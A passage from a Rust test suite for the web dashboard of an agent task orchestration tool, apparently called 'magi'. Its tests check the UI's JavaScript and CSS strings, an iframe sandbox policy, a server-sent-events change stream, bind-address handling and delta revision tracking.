20418 assert!(APP_JS.contains("const pr = landView(run, raw);"));
20419 assert!(APP_JS.contains("pr.stale ? \"last seen open\""));
20420 assert!(APP_JS.contains("pr.stale ? null : checksChip(pr)"));
20421 assert!(APP_JS.contains("pr.state !== \"open\" || Boolean(pr.stale)"));
20422 }
20423
20424 #[test]
20425 fn live_runs_are_never_hidden_or_folded_as_superseded() {
20426 assert!(APP_JS.contains("function isLiveAttempt(run) {\n return !run.done;"));
20427 assert!(APP_JS.contains("if (isLiveAttempt(run)) return false;"));
20428 assert!(APP_JS.contains("(!isLiveAttempt(run) && run.superseded_by"));
20429 assert!(APP_JS.contains("kids.filter(matchesRunState).length"));
20430 }
20431
20432 #[test]
20433 fn review_rounds_label_a_distinct_verified_head() {
20434 assert!(APP_JS.contains("round.verified_head"));
20435 assert!(APP_JS.contains("verified HEAD"));
20436 assert!(APP_JS.contains("verified ${String(round.verified_head).slice(0, 7)}"));
20437 }
20438
20439 #[test]
20440 fn queue_ui_presents_blocked_dependencies_and_resolved_questions() {
20441 assert!(APP_JS.contains("blocked: { glyph:"));
20445 assert!(APP_JS.contains("Blocked. Waiting on another task or question to resolve."));
20446
20447 assert!(APP_JS.contains("function classifyBlockedBy(blockedBy, tasksById, questionsById)"));
20451 assert!(
20452 APP_JS.contains(
20453 "if (parts.length) noteText = `${noteText} Waiting on ${parts.join(\" and \")}.`;"
20454 ),
20455 "the note line must name what a blocked task is waiting on, not just that it is blocked"
20456 );
20457 assert!(APP_JS.contains("if (status === \"blocked\") {"));
20461
20462 assert!(APP_JS.contains("function depNode(id, byId, questionNodes)"));
20466 assert!(APP_JS.contains("questionNodes.set(dep, questionsById.get(dep));"));
20467 assert!(
20468 APP_JS.contains("location.hash = \"#/questions\";"),
20469 "a question node must jump to the Questions screen, not pretend to be a task"
20470 );
20471
20472 assert!(APP_JS.contains("Resolved questions"));
20475 assert!(APP_JS.contains("r.answersList.append("));
20476 assert!(APP_CSS.contains(".task-answers"));
20477 {
20478 let start = APP_JS
20479 .find("function updateTalkTaskRow")
20480 .expect("updateTalkTaskRow");
20481 let body = &APP_JS[start..];
20482 let body = &body[..body.find("\n}\n").expect("updateTalkTaskRow ends")];
20483 assert!(
20484 body.contains(
20485 "setAttr(r.link, \"href\", `#/tasks/${encodeURIComponent(task.id)}`)"
20486 ),
20487 "a chat-filed task row must link to the task page"
20488 );
20489 assert!(
20490 !body.contains("#/runs/") && !body.contains("#/queue/"),
20491 "the row must not branch to a run or the queue card"
20492 );
20493 assert!(APP_CSS.contains(".talk-task-link"));
20494 }
20495 }
20496
20497 #[test]
20498 fn a_task_notification_links_to_the_task_page() {
20499 let start = APP_JS
20501 .find("function noticeLink(")
20502 .expect("noticeLink exists");
20503 let body = &APP_JS[start..];
20504 let body = &body[..body.find("\n}\n").expect("noticeLink ends")];
20505 assert!(
20506 body.contains("href: `#/tasks/${encodeURIComponent(link.id)}`"),
20507 "a task notice's link must target the task page"
20508 );
20509 assert!(
20510 !body.contains("#/queue/"),
20511 "regression: the task link must not go back to the Backlog route"
20512 );
20513 assert!(
20514 APP_JS.contains(
20515 "if (parts[0] === \"tasks\" && parts[1]) return { name: \"task\", id: decodeURIComponent(parts[1]) };"
20516 ),
20517 "`#/tasks/<id>` must parse into the task route"
20518 );
20519
20520 assert!(
20522 APP_JS.contains(
20523 "if (parts[0] === \"queue\" && parts[1]) return { name: \"queue\", id: decodeURIComponent(parts[1]) };"
20524 ),
20525 "`#/queue/<id>` must parse into a route carrying that id"
20526 );
20527
20528 assert!(APP_JS.contains("state.queueFocus = route.id;"));
20532 assert!(APP_JS.contains("function consumeQueueFocus()"));
20533 assert!(APP_JS.contains("jumpToTask(id)"));
20534 }
20535
20536 #[test]
20537 fn notifications_distinguish_actionable_questions_from_informational_notices() {
20538 let start = APP_JS
20539 .find("function noticeCoveredBy(")
20540 .expect("noticeCoveredBy exists");
20541 let body = &APP_JS[start..];
20542 let body = &body[..body.find("\n}\n").expect("noticeCoveredBy ends")];
20543
20544 assert!(body.contains("Associated question ${short}"));
20546 assert!(!body.contains("el(\"a\""));
20547
20548 assert!(body.contains("(resolved)"));
20550 assert!(body.contains("(closed)"));
20551
20552 let start = APP_JS
20553 .find("function renderNotifications()")
20554 .expect("renderNotifications exists");
20555 let body = &APP_JS[start..];
20556 let body = &body[..body.find("\n}\n").expect("renderNotifications ends")];
20557
20558 assert!(body.contains("const questionLink = n.answerable_question ? el(\"a\", {"));
20560 assert!(body.contains("href: `#/questions/${encodeURIComponent(n.answerable_question)}`"));
20561 assert!(body.contains("text: \"Open question to respond\",\n }) : null;"));
20562 assert!(body.contains("questionLink ? subjectLink : noticeCoveredBy(n.covered_by)"));
20563 }
20564
20565 #[test]
20568 fn chat_rows_put_the_title_alone_on_the_first_line() {
20569 assert!(APP_CSS.contains("#talks-list .card-title {\n grid-row: 1; grid-column: 1 / -1;"));
20570 assert!(APP_CSS.contains(
20571 "display: block; white-space: nowrap; overflow: hidden; text-overflow: ellipsis;"
20572 ));
20573 assert!(APP_CSS.contains("#talks-list .card-when { grid-row: 2;"));
20574 assert!(APP_JS.contains("class: \"badge talk-unread\""));
20575 }
20576
20577 #[test]
20578 fn run_rows_put_the_title_alone_on_the_first_line() {
20579 assert!(
20580 APP_CSS.contains(
20581 ".cards .card.run-card .card-title {\n grid-row: 1; grid-column: 1 / -1;"
20582 )
20583 );
20584 assert!(APP_CSS.contains(".cards .card.run-card .card-when { grid-row: 2;"));
20585 assert!(APP_JS.contains("class: \"card run-card\""));
20586 assert!(APP_JS.contains("class: \"repo run-id\""));
20587 }
20588
20589 #[test]
20593 fn wide_screens_show_list_and_preview_side_by_side() {
20594 assert!(APP_JS.contains("const SPLIT_QUERY = \"(min-width: 1080px)\";"));
20596 assert!(APP_JS.contains("window.matchMedia(SPLIT_QUERY)"));
20597 assert!(APP_CSS.contains("main[data-split]"));
20598 assert!(APP_CSS.contains("body[data-split]"));
20599
20600 assert!(APP_JS.contains("function splitPanes(route, wide) {\n if (!wide) return null;"));
20602 assert!(
20603 APP_JS.contains(
20604 "case \"run\": return { list: route.list || \"runs\", detail: \"run\" };"
20605 )
20606 );
20607 assert!(APP_JS.contains("case \"task\": return { list: \"queue\", detail: \"task\" };"));
20608 assert!(APP_JS.contains("case \"talk\": return { list: \"talks\", detail: \"talk\" };"));
20609 assert!(INDEX_HTML.contains("id=\"split-empty\""));
20610
20611 assert!(APP_JS.contains("function markSelected() {"));
20613 assert!(APP_JS.contains("\"aria-current\", id && card.dataset[key] === id"));
20614 assert!(APP_CSS.contains(".card[aria-current=\"true\"]"));
20615 assert!(
20617 APP_CSS.contains(
20618 "display: flex; flex-direction: row; flex-wrap: wrap; align-items: center;"
20619 )
20620 );
20621
20622 assert!(APP_CSS.contains("height: 100dvh; padding-bottom: 0; overflow: hidden;"));
20624 assert!(APP_CSS.contains("grid-column: 1; grid-row: 1; min-height: 0; overflow: auto;"));
20625 assert!(APP_CSS.contains("grid-column: 2; grid-row: 1; min-height: 0; overflow: auto;"));
20626 assert!(!APP_JS.contains("if (changed) window.scrollTo({ top: 0 });"));
20627
20628 assert!(APP_JS.contains("if (state.detail !== detail) return;"));
20632 assert!(APP_JS.contains("if (state.taskDetail !== detail) return;"));
20633 assert!(APP_JS.contains("if (state.talkDetail.id !== id) return;"));
20634 assert!(APP_JS.contains("const relayout = () => applyRoute();"));
20635
20636 assert!(APP_JS.contains("sandbox: \"allow-popups allow-popups-to-escape-sandbox\""));
20638 }
20639
20640 #[test]
20641 fn panel_sandbox_carries_exactly_popups() {
20642 let needle = "sandbox: \"";
20643 let matches: Vec<_> = APP_JS.match_indices(needle).collect();
20644 assert_eq!(
20645 matches.len(),
20646 1,
20647 "APP_JS must have exactly one sandbox attribute setting: found {matches:?}"
20648 );
20649 let start = matches[0].0 + needle.len();
20650 let end = APP_JS[start..]
20651 .find('"')
20652 .expect("sandbox attribute value must be terminated by a closing quote");
20653 let val = &APP_JS[start..start + end];
20654 let tokens: std::collections::BTreeSet<&str> = val.split_whitespace().collect();
20655 let expected: std::collections::BTreeSet<&str> =
20656 ["allow-popups", "allow-popups-to-escape-sandbox"]
20657 .into_iter()
20658 .collect();
20659 assert_eq!(tokens, expected, "sandbox tokens must match exactly");
20660 assert!(
20661 !tokens.contains("allow-scripts"),
20662 "allow-scripts must never be present in sandbox"
20663 );
20664 assert!(
20665 !tokens.contains("allow-same-origin"),
20666 "allow-same-origin must never be present in sandbox"
20667 );
20668 }
20669
20670 #[test]
20671 fn consuming_a_queue_focus_survives_clearing_a_stale_backlog_search() {
20672 assert!(
20681 APP_JS.contains(
20682 " }\n if (state.queueSearch.trim() !== \"\") {\n state.queueSearch = \"\";"
20683 ),
20684 "the search-clearing branch must run before state.queueFocus is cleared, or the \
20685 recursive renderQueue() call has nothing left to jump to"
20686 );
20687 assert!(
20688 APP_JS.contains("if (jumpToTask(id)) state.queueFocus = null;"),
20689 "state.queueFocus must be cleared only once the jump has landed, so a card that \
20690 arrives later still gets it"
20691 );
20692 assert!(APP_JS.contains("state.queueFocusMissing = missing ? id : null;"));
20693 assert!(APP_JS.contains("is not in the current Backlog."));
20694 assert!(APP_JS.contains("li.card[data-task-id=\""));
20695 assert!(APP_JS.contains("setAttr(r.card, \"data-task-id\", task.id);"));
20696 assert!(APP_JS.contains("`#/queue/${encodeURIComponent(task.id)}`"));
20697 assert!(APP_CSS.contains(".card-permalink"));
20698 assert!(APP_CSS.contains(".queue-focus-status"));
20699 assert!(APP_JS.contains("const section = route.name === \"run\" ? route.list || \"runs\""));
20700 }
20701
20702 #[test]
20703 fn a_notification_card_navigates_from_anywhere_on_it_not_just_its_link_text() {
20704 assert!(
20712 APP_JS.contains(
20713 "onclick: link ? (event) => { if (!event.target.closest(\"a, button\")) link.click(); } : null"
20714 ),
20715 "the notice card itself must forward a tap outside its link/buttons to the link's own click"
20716 );
20717 }
20718
20719 #[test]
20720 fn review_rounds_tell_a_stale_verification_and_a_resource_block_apart_from_a_real_result() {
20721 assert!(
20722 APP_JS.contains("round.verified_head !== round.head"),
20723 "a round that verified an earlier commit must be visibly distinct from one that \
20724 verified the head reviewers are looking at now"
20725 );
20726 assert!(
20727 APP_JS.contains("round.verified_at"),
20728 "when a check ran must be on the wire, not just which commit"
20729 );
20730 assert!(
20731 APP_JS.contains("resource_blocked"),
20732 "a command magi never got to run (shared build cache contention) must not render \
20733 the same as a command that ran and failed"
20734 );
20735 }
20736
20737 #[test]
20738 fn a_stats_kpi_tile_navigates_to_the_runs_view_pre_filtered_to_its_own_status() {
20739 assert!(
20747 APP_JS.contains("onClick: () => openRunsFiltered(status)"),
20748 "every KPI tile built through statusTile() must route its click through \
20749 openRunsFiltered, the single place that sets the Runs filter"
20750 );
20751 for (label, status) in [
20752 ("Merged", "merged"),
20753 ("Ready", "ready"),
20754 ("Blocked", "blocked"),
20755 ("Stalled", "stalled"),
20756 ] {
20757 let call = format!("statusTile(\"{label}\", t.{status}, ");
20758 assert!(
20759 APP_JS.contains(&call),
20760 "expected the {label} KPI tile built via {call}..."
20761 );
20762 assert!(
20763 APP_JS.contains(&format!("status === \"{status}\"")),
20764 "\"{status}\" must be a real RunStatus literal runSection()/isStale() already \
20765 compare a run against, not one invented only for the stats tile"
20766 );
20767 }
20768 assert!(
20769 APP_JS.contains("function openRunsFiltered(status)"),
20770 "openRunsFiltered must exist as the single place a stats tile sets the Runs filter"
20771 );
20772 assert!(
20773 APP_JS.contains(
20774 "if (status && !statusInBucket(String(run.status || \"\"), status)) return false;"
20775 ),
20776 "matchesFilter must gate on the statuses of the bucket a KPI tile named"
20777 );
20778 assert!(
20786 APP_JS.contains(" location.hash = \"#runs\";\n applyRoute();\n renderRuns();\n}"),
20787 "openRunsFiltered must explicitly re-render the Runs list, not rely on a \
20788 hashchange event that may never fire"
20789 );
20790 }
20791
20792 #[test]
20793 fn selecting_a_run_state_chip_drops_an_incompatible_status_filter() {
20794 assert!(APP_JS.contains("function statusCompatibleWithStateFilter(status, filterKey)"));
20800 assert!(
20801 APP_JS.contains(
20802 " if (state.runsFilter.status && !statusCompatibleWithStateFilter(state.runsFilter.status, key)) {\n state.runsFilter = { ...state.runsFilter, status: null };\n }"
20803 ),
20804 "selectRunStateFilter must clear an incompatible status filter, mirroring its own \
20805 guard for an incompatible tree section"
20806 );
20807 }
20808
20809 #[test]
20810 fn every_stats_queue_tile_names_a_real_queue_section() {
20811 assert!(
20817 APP_JS.contains("onClick: () => openQueueSectionFocus(sectionKey)"),
20818 "every queue tile built through sectionTile() must route its click through \
20819 openQueueSectionFocus"
20820 );
20821 for key in ["upnext", "running", "done", "held", "blocked"] {
20822 assert!(
20823 APP_JS.contains(&format!("{{ key: \"{key}\",")),
20824 "QUEUE_SECTIONS must define a \"{key}\" section for a stats tile to reveal"
20825 );
20826 }
20827 for line in [
20831 "sectionTile(\"Queued\", q.queued, \"blue\", \"upnext\"),",
20832 "sectionTile(\"Running\", q.running, \"blue\", \"running\"),",
20833 "sectionTile(\"Done\", q.done, \"gold\", \"done\"),",
20834 "sectionTile(\"Failed\", q.failed, \"rust\", \"upnext\"),",
20835 "sectionTile(\"Held\", q.held, \"rust\", \"held\"),",
20836 "sectionTile(\"Blocked\", q.blocked, \"rust\", \"blocked\"),",
20837 ] {
20838 assert!(APP_JS.contains(line), "expected a stats queue tile: {line}");
20839 }
20840 }
20841
20842 #[test]
20843 fn a_stats_queue_tile_reveals_its_section_without_dropping_a_pending_task_focus() {
20844 assert!(APP_JS.contains("function openQueueSectionFocus(sectionKey)"));
20851 assert!(APP_JS.contains("function consumeQueueSectionFocus()"));
20852 assert!(APP_JS.contains("function revealQueueSection(details)"));
20853 assert!(
20854 APP_JS.contains("consumeQueueFocus();\n consumeQueueSectionFocus();"),
20855 "renderQueue() must consume both focus channels on every pass"
20856 );
20857 assert!(
20858 APP_JS.contains(
20859 " const key = state.queueSectionFocus;\n if (!key || state.queue === null) return;\n if (state.queueSearch.trim() !== \"\") {"
20860 ),
20861 "the search-clearing branch must run before state.queueSectionFocus is cleared, or \
20862 the recursive renderQueue() call has nothing left to reveal"
20863 );
20864 assert!(
20865 APP_JS.contains(
20866 " const details = document.querySelector(`#queue-sections details.list-section[data-key=\"${CSS.escape(key)}\"]`);\n state.queueSectionFocus = null;\n if (details) revealQueueSection(details);"
20867 ),
20868 "state.queueSectionFocus must only be cleared immediately before the reveal it guards"
20869 );
20870 assert!(
20878 APP_JS.contains(" location.hash = \"#queue\";\n applyRoute();\n renderQueue();\n}"),
20879 "openQueueSectionFocus must explicitly re-render the Backlog, not rely on a \
20880 hashchange event that may never fire"
20881 );
20882 }
20883
20884 #[tokio::test]
20885 async fn the_change_stream_announces_the_current_revisions_on_connect() {
20886 let f = Fixture::start().await;
20887
20888 let mut socket = tokio::net::TcpStream::connect(f.addr)
20889 .await
20890 .expect("connect");
20891 socket
20892 .write_all(
20893 b"GET /api/events HTTP/1.1\r\nHost: magi\r\nAccept: text/event-stream\r\n\r\n",
20894 )
20895 .await
20896 .expect("write request");
20897
20898 let mut seen = String::new();
20901 let mut buf = [0u8; 1024];
20902 while !seen.contains("event: change") {
20903 let read = tokio::time::timeout(Duration::from_secs(5), socket.read(&mut buf))
20904 .await
20905 .expect("the stream must speak within five seconds")
20906 .expect("read");
20907 assert!(read > 0, "the server closed the change stream: {seen}");
20908 seen.push_str(&String::from_utf8_lossy(&buf[..read]));
20909 }
20910
20911 assert!(
20912 seen.to_lowercase()
20913 .contains("content-type: text/event-stream"),
20914 "the browser only reconnects automatically for a real SSE stream: {seen}"
20915 );
20916 let data = seen
20917 .lines()
20918 .find_map(|l| l.strip_prefix("data:"))
20919 .expect("a data line");
20920 let payload: Value = serde_json::from_str(data.trim()).expect("json payload");
20921 assert!(
20922 payload["queue_rev"].is_u64()
20923 && payload["runs_rev"].is_u64()
20924 && payload["questions_rev"].is_u64()
20925 && payload["talks_rev"].is_u64()
20926 && payload["notifications_rev"].is_u64()
20927 && payload["loop_rev"].is_u64(),
20928 "the client needs one revision per store to know what to refetch, \
20929 and `talks_rev` is the only notification a standing talk gets - a \
20930 phone whose radio slept through a turn learns about it here, as \
20931 does one whose operator started the loop from another device: \
20932 {payload}"
20933 );
20934
20935 let health = f.get("/api/health").await.json();
20942 for key in [
20943 "queue_rev",
20944 "runs_rev",
20945 "questions_rev",
20946 "talks_rev",
20947 "notifications_rev",
20948 "loop_rev",
20949 ] {
20950 assert!(
20951 health[key].is_u64(),
20952 "health is the change stream's fallback and is missing `{key}`: {health}"
20953 );
20954 }
20955 }
20956
20957 #[tokio::test]
20958 async fn a_new_turn_on_a_talk_moves_the_change_stream_revision() {
20959 let f = Fixture::start().await;
20960 let before = f.get("/api/health").await.json()["talks_rev"]
20961 .as_u64()
20962 .expect("talks_rev");
20963
20964 let talk = seed_talk(&f, "20260904-014455-ab12", "open");
20965 std::thread::sleep(Duration::from_millis(10));
20966 let mut on_disk = f.talks().get(&talk).expect("get seeded talk");
20967 on_disk.turns.push(crate::talk::Turn {
20968 sender: None,
20969 breaks: Some(Vec::new()),
20970 messages: Vec::new(),
20971 posted_by: None,
20972 who: crate::talk::Who::Operator,
20973 body: "a new turn".to_owned(),
20974 at: Timestamp::now(),
20975 attachments: Vec::new(),
20976 usage: None,
20977 });
20978 f.talks().put(&mut on_disk).expect("record a turn");
20979
20980 let after = tokio::time::timeout(Duration::from_secs(5), async {
20981 loop {
20982 let revision = f.get("/api/health").await.json()["talks_rev"]
20983 .as_u64()
20984 .unwrap();
20985 if revision != before {
20986 break revision;
20987 }
20988 tokio::time::sleep(Duration::from_millis(50)).await;
20989 }
20990 })
20991 .await
20992 .expect("shared monitor observes external turn");
20993 assert_ne!(
20994 before, after,
20995 "a phone must be able to notice a talk's reply without polling every store"
20996 );
20997 }
20998
20999 #[test]
21000 fn bind_reads_back_from_the_spelling_the_cli_prints() {
21001 for bind in [Bind::Auto, Bind::Addr(IpAddr::V4(Ipv4Addr::LOCALHOST))] {
21005 assert_eq!(bind.to_string().parse::<Bind>(), Ok(bind));
21006 }
21007 assert_eq!("AUTO".parse::<Bind>(), Ok(Bind::Auto));
21008 assert!("everywhere".parse::<Bind>().is_err());
21009 }
21010
21011 #[test]
21012 fn an_explicit_bind_address_is_taken_verbatim() {
21013 let asked = IpAddr::V4(Ipv4Addr::new(192, 168, 1, 20));
21014
21015 let (addr, warning) = resolve_bind(&Bind::Addr(asked));
21016
21017 assert_eq!(addr, asked);
21018 assert!(
21019 warning.is_none(),
21020 "an operator who named an address gets no lecture"
21021 );
21022 }
21023
21024 #[test]
21025 fn bind_auto_either_finds_a_tailnet_address_or_says_the_ui_is_local_only() {
21026 let (addr, warning) = resolve_bind(&Bind::Auto);
21027
21028 match addr {
21035 IpAddr::V4(ip) if is_tailnet(&ip) => {
21036 assert!(warning.is_none(), "a tailnet address needs no warning");
21037 }
21038 other => {
21039 assert_eq!(other, IpAddr::V4(Ipv4Addr::LOCALHOST));
21040 let warning = warning.expect("a fallback has to explain itself");
21041 assert!(
21042 warning.contains("127.0.0.1") && warning.contains("local-only"),
21043 "the warning says what happened and what it costs: {warning}"
21044 );
21045 }
21046 }
21047 }
21048
21049 #[test]
21050 fn only_the_cgnat_block_counts_as_a_tailnet_address() {
21051 assert!(is_tailnet(&Ipv4Addr::new(100, 64, 0, 1)));
21055 assert!(is_tailnet(&Ipv4Addr::new(100, 127, 255, 254)));
21056 assert!(!is_tailnet(&Ipv4Addr::new(100, 63, 255, 255)));
21057 assert!(!is_tailnet(&Ipv4Addr::new(100, 128, 0, 1)));
21058 assert!(!is_tailnet(&Ipv4Addr::new(127, 0, 0, 1)));
21059 }
21060
21061 #[test]
21062 fn an_ambiguous_prefix_is_a_bad_request_and_a_missing_one_is_not_found() {
21063 let ids = vec![
21064 "20260902-140501-aaaa".to_owned(),
21065 "20260902-140502-aabb".to_owned(),
21066 ];
21067
21068 let missing = pick(ids.clone(), "zzzz", "run").expect_err("no match");
21069 let ambiguous = pick(ids.clone(), "202609", "run").expect_err("two matches");
21070 let short = pick(ids, "aabb", "run").expect("the short id is the tail of an id");
21071
21072 assert_eq!(missing.status, StatusCode::NOT_FOUND);
21073 assert_eq!(ambiguous.status, StatusCode::BAD_REQUEST);
21074 assert_eq!(short, "20260902-140502-aabb");
21075 }
21076 #[tokio::test]
21077 async fn a_panel_reaches_its_assets_by_the_bare_name_it_was_told_to_use() {
21078 let fx = Fixture::start().await;
21084 let id = panel(
21085 &fx,
21086 "<img src=\"shot.png\">",
21087 &[("shot.png", b"\x89PNG\r\n\x1a\n")],
21088 );
21089
21090 let doc = fx
21092 .get(&format!("/api/questions/{id}/panel/index.html"))
21093 .await;
21094 assert_eq!(doc.status, 200, "{}", doc.body);
21095 assert_eq!(doc.header("content-type"), Some("text/html; charset=utf-8"));
21096
21097 let sibling = fx.get(&format!("/api/questions/{id}/panel/shot.png")).await;
21098 assert_eq!(sibling.status, 200, "{}", sibling.body);
21099 assert_eq!(sibling.header("content-type"), Some("image/png"));
21100 assert_eq!(
21101 sibling.header("content-security-policy"),
21102 Some(PANEL_CSP),
21103 "the sibling route must carry the same policy as the asset route"
21104 );
21105
21106 assert_eq!(
21109 fx.head(&format!("/api/questions/{id}/panel")).await.status,
21110 200
21111 );
21112 }
21113
21114 #[test]
21115 fn delta_stamps_cover_add_update_remove_and_noop() {
21116 let before: Stamps = [("a".into(), (1, 10)), ("b".into(), (2, 20))].into();
21117 let after: Stamps = [("b".into(), (2, 21)), ("c".into(), (3, 30))].into();
21118 let delta = diff_stamps(&before, &after, 42);
21119 assert_eq!(delta.base, 42);
21120 assert_eq!(delta.changed, ["b", "c"]);
21121 assert_eq!(delta.removed, ["a"]);
21122 let same = diff_stamps(&after, &after, 43);
21123 assert!(same.changed.is_empty() && same.removed.is_empty());
21124 assert_ne!(stamps_revision(&before), stamps_revision(&after));
21125 let nanos: Stamps = [("b".into(), (2, 20))].into();
21126 let same_ms: Stamps = [("b".into(), (3, 20))].into();
21127 assert_ne!(stamps_revision(&nanos), stamps_revision(&same_ms));
21128 assert_eq!(stamps_revision(&Stamps::new()), 0);
21129 }
21130
21131 fn delta_test_ui(home: &FsPath) -> Arc<Ui> {
21132 std::fs::create_dir_all(home.join("runs")).unwrap();
21133 Arc::new(
21134 Ui::new(
21135 Queue::at(home.join("queue")),
21136 Questions::at(home.join("questions")),
21137 Talks::at(home.join("talks")),
21138 home.join("runs"),
21139 home.to_owned(),
21140 PathBuf::from("/repo/magi"),
21141 )
21142 .with_worktrees_root(home.join("wt")),
21143 )
21144 }
21145
21146 #[test]
21147 fn monitor_scan_isolates_store_failures_and_recovers() {
21148 let home = TempDir::new().unwrap();
21149 let ui = delta_test_ui(home.path());
21150 std::fs::create_dir_all(ui.questions.root()).unwrap();
21151 std::fs::write(ui.questions.root().join("q.json"), "{}").unwrap();
21152 let before = monitor_scan(&ui, None);
21153 std::fs::rename(ui.questions.root(), home.path().join("saved-questions")).unwrap();
21154 std::fs::write(ui.questions.root(), "not a directory").unwrap();
21155 std::fs::create_dir_all(ui.talks.root()).unwrap();
21156 std::fs::write(ui.talks.root().join("new.json"), "{}").unwrap();
21157 let during = monitor_scan(&ui, Some(before.clone()));
21158 assert_eq!(during.0.2, before.0.2);
21159 assert_ne!(during.0.3, before.0.3);
21160 assert!(during.1[2].contains_key("new"));
21161 std::fs::remove_file(ui.questions.root()).unwrap();
21162 let after = monitor_scan(&ui, Some(during));
21163 assert_eq!(after.0.2, 0);
21164 assert_eq!(after.0.3, stamps_revision(&after.1[2]));
21165 std::fs::write(ui.questions.root(), "not a directory").unwrap();
21167 assert_eq!(monitor_scan(&ui, None).0.3, after.0.3);
21168 }
21169
21170 #[tokio::test]
21171 async fn delta_stream_announces_a_base_then_changed_and_removed_ids() {
21172 let home = TempDir::new().unwrap();
21173 let ui = delta_test_ui(home.path());
21174 let mut task = Task::new(
21175 "stream task".into(),
21176 "text".into(),
21177 PathBuf::from("/repo"),
21178 Source::Human,
21179 );
21180 ui.queue.put(&mut task).unwrap();
21181 let response = events(State(ui.clone())).await.into_response();
21182 let mut stream = response.into_body().into_data_stream();
21183 async fn change(stream: &mut axum::body::BodyDataStream) -> serde_json::Value {
21184 let chunk = tokio::time::timeout(Duration::from_secs(5), stream.next())
21185 .await
21186 .unwrap()
21187 .unwrap()
21188 .unwrap();
21189 let text = String::from_utf8(chunk.to_vec()).unwrap();
21190 let data = text
21191 .lines()
21192 .find_map(|line| {
21193 line.strip_prefix("data: ")
21194 .or_else(|| line.strip_prefix("data:"))
21195 })
21196 .unwrap();
21197 serde_json::from_str(data).unwrap()
21198 }
21199 let initial = change(&mut stream).await;
21200 assert!(initial.get("queue_delta").is_none());
21201 task.instruction.push_str(" changed");
21202 ui.queue.put(&mut task).unwrap();
21203 let updated = change(&mut stream).await;
21204 assert_eq!(updated["queue_delta"]["base"], initial["queue_rev"]);
21205 assert_eq!(
21206 updated["queue_delta"]["changed"],
21207 serde_json::json!([task.id])
21208 );
21209 assert_eq!(
21210 updated["queue_rev"].as_u64(),
21211 Some(stamps_revision(&store_stamps(ui.queue.root(), false)))
21212 );
21213 std::fs::remove_file(ui.queue.path_of(&task.id)).unwrap();
21214 let removed = change(&mut stream).await;
21215 assert_eq!(removed["queue_delta"]["base"], updated["queue_rev"]);
21216 assert_eq!(
21217 removed["queue_delta"]["removed"],
21218 serde_json::json!([task.id])
21219 );
21220 }
21221
21222 #[tokio::test]
21223 async fn delta_lists_keep_blockers_and_respect_the_run_window() {
21224 let home = TempDir::new().unwrap();
21225 let ui = delta_test_ui(home.path());
21226 let queue = ui.queue.clone();
21227 let query = |ids: Option<&str>| {
21228 Query(ListQuery {
21229 limit: Some(2),
21230 ids: ids.map(str::to_owned),
21231 })
21232 };
21233 let mut root = Task::new(
21234 "root".into(),
21235 "instruction".into(),
21236 PathBuf::from("/repo"),
21237 Source::Human,
21238 );
21239 queue.put(&mut root).unwrap();
21240 let mut blocked = Task::new(
21241 "blocked".into(),
21242 "instruction".into(),
21243 PathBuf::from("/repo"),
21244 Source::Human,
21245 );
21246 blocked.block(vec![root.id.clone()], None);
21247 queue.put(&mut blocked).unwrap();
21248 let whole =
21249 serde_json::to_value(queue_list(State(ui.clone()), query(None)).await.unwrap().0)
21250 .unwrap();
21251 let subset = serde_json::to_value(
21252 queue_list(State(ui.clone()), query(Some(&root.id)))
21253 .await
21254 .unwrap()
21255 .0,
21256 )
21257 .unwrap();
21258 assert_eq!(whole, subset, "requested root plus its blocked dependent");
21259 let blockers = serde_json::to_value(
21260 queue_list(State(ui.clone()), query(Some("")))
21261 .await
21262 .unwrap()
21263 .0,
21264 )
21265 .unwrap();
21266 assert_eq!(blockers.as_array().unwrap().len(), 1);
21267 assert_eq!(blockers[0]["id"], blocked.id);
21268 assert_eq!(
21269 blockers[0]["waits_on"],
21270 whole
21271 .as_array()
21272 .unwrap()
21273 .iter()
21274 .find(|row| row["id"] == blocked.id)
21275 .unwrap()["waits_on"]
21276 );
21277
21278 for id in [
21279 "20260902-140501-aaaa",
21280 "20260902-140502-bbbb",
21281 "20260902-140503-cccc",
21282 ] {
21283 write_run(&ui.runs, id, RunStatus::Merged);
21284 }
21285 let old = serde_json::to_value(
21286 runs_list(State(ui.clone()), query(Some("20260902-140501-aaaa")))
21287 .await
21288 .unwrap()
21289 .0,
21290 )
21291 .unwrap();
21292 assert!(
21293 old.as_array().unwrap().is_empty(),
21294 "older updates must not enter the window"
21295 );
21296 let newest = serde_json::to_value(
21297 runs_list(State(ui.clone()), query(Some("20260902-140503-cccc")))
21298 .await
21299 .unwrap()
21300 .0,
21301 )
21302 .unwrap();
21303 assert_eq!(newest.as_array().unwrap().len(), 1);
21304 assert_eq!(newest[0]["id"], "20260902-140503-cccc");
21305
21306 seed_talk_at(&ui.talks, "20260905-000000-d4e5", "open");
21307 seed_talk_at(&ui.talks, "20260905-000001-d4e6", "open");
21308 let talks = serde_json::to_value(
21309 talks_list(
21310 State(ui.clone()),
21311 query(Some("20260905-000000-d4e5")),
21312 header::HeaderMap::new(),
21313 )
21314 .await
21315 .unwrap()
21316 .0,
21317 )
21318 .unwrap();
21319 assert_eq!(talks.as_array().unwrap().len(), 1);
21320 assert_eq!(talks[0]["id"], "20260905-000000-d4e5");
21321 assert_eq!(
21322 serde_json::to_value(
21323 talks_list(State(ui.clone()), query(Some("")), header::HeaderMap::new())
21324 .await
21325 .unwrap()
21326 .0
21327 )
21328 .unwrap(),
21329 serde_json::json!([])
21330 );
21331 }
21332
21333 #[tokio::test]
21334 #[ignore = "manual payload measurement; requires a JSON snapshot in MAGI_WEB_BENCH_HOME"]
21335 async fn delta_payload_benchmark() {
21336 let home = PathBuf::from(std::env::var_os("MAGI_WEB_BENCH_HOME").expect("snapshot"));
21337 let ui = delta_test_ui(&home);
21338 let query = |ids: Option<String>| {
21339 Query(ListQuery {
21340 limit: Some(50),
21341 ids,
21342 })
21343 };
21344 let queue = queue_list(State(ui.clone()), query(None)).await.unwrap().0;
21345 let runs = runs_list(State(ui.clone()), query(None)).await.unwrap().0;
21346 let talks = talks_list(State(ui.clone()), query(None), header::HeaderMap::new())
21347 .await
21348 .unwrap()
21349 .0;
21350 let queue_id = queue
21351 .iter()
21352 .find(|row| row.task.status == crate::queue::TaskStatus::Running)
21353 .unwrap_or(&queue[0])
21354 .task
21355 .id
21356 .clone();
21357 let queue_delta = queue_list(State(ui.clone()), query(Some(queue_id)))
21358 .await
21359 .unwrap()
21360 .0;
21361 let runs_delta = runs_list(State(ui.clone()), query(Some(runs[0].id.clone())))
21362 .await
21363 .unwrap()
21364 .0;
21365 let talks_delta = talks_list(
21366 State(ui.clone()),
